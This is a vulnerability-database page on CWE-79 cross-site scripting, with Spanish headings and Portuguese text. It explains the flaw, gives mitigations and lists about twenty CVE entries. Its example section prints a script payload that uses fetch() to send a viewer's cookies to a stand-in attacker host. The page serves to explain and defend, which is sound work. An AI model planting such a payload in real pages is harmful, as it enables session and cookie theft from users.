Fallos del tipo CWE-79

28.949 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-1840LOWHome Clean Services Management System cross site scriptingEPSS 0.6%CVE-2024-48589MEDIUMCross Site Scripting vulnerability in Gilnei Moraes phpABook v.0.9 allows a remote attacker to execute arbitrary code via the rol parameter EPSS 0.6%CVE-2022-42110MEDIUMA Cross-site scripting (XSS) vulnerability in the Announcements module in Liferay Portal 7.1.0 through 7.4.2, and Liferay DXP 7.1 before fixEPSS 0.6%CVE-2022-4841HIGHCross-site Scripting (XSS) - Stored in usememos/memosEPSS 0.6%CVE-2024-13630MEDIUMNews List <= 1.0 - Reflected XSSEPSS 0.6%CVE-2023-0786HIGHCross-site Scripting (XSS) - Generic in thorsten/phpmyfaqEPSS 0.6%CVE-2024-40333HIGHidccms v1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/softBak_deal.php?mudi=del&dataID=2EPSS 0.6%CVE-2025-4461MEDIUMTOTOLINK N150RT Virtual Server Page cross site scriptingEPSS 0.6%CVE-2024-12737MEDIUMWP BASE Booking of Appointments, Services and Events < 5.0.0 - Reflected XSSEPSS 0.6%CVE-2022-37407MEDIUMWordPress Gallery PhotoBlocks plugin <= 1.2.6 - Multiple Authenticated Stored Cross-Site Scripting (XSS) vulnerabilitiesEPSS 0.6%CVE-2025-4470MEDIUMSourceCodester Online Student Clearance System add-student.php cross site scriptingEPSS 0.6%CVE-2023-45819MEDIUMCross-site Scripting vulnerability in TinyMCE notificationManager.open APIEPSS 0.6%CVE-2026-33113MEDIUMMicrosoft SharePoint Server Spoofing VulnerabilityEPSS 0.6%CVE-2025-4469MEDIUMSourceCodester Online Student Clearance System add-admin.php cross site scriptingEPSS 0.6%CVE-2023-1754MEDIUMImproper Neutralization of Input During Web Page Generation in thorsten/phpmyfaqEPSS 0.6%CVE-2022-1180MEDIUMReflected Cross Site Scripting in openemr/openemrEPSS 0.6%CVE-2023-1131LOWSourceCodester Computer Parts Sales and Inventory System customer.php cross site scriptingEPSS 0.6%CVE-2022-1991LOWFast Food Ordering System Master List Master.php cross site scriptingEPSS 0.6%CVE-2024-40036HIGHidccms v1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/userGroup_deal.php?mudi=add&nohrefStr=clEPSS 0.6%CVE-2026-27176MEDIUMMajorDoMo Reflected Cross-Site Scripting in command.phpEPSS 0.6%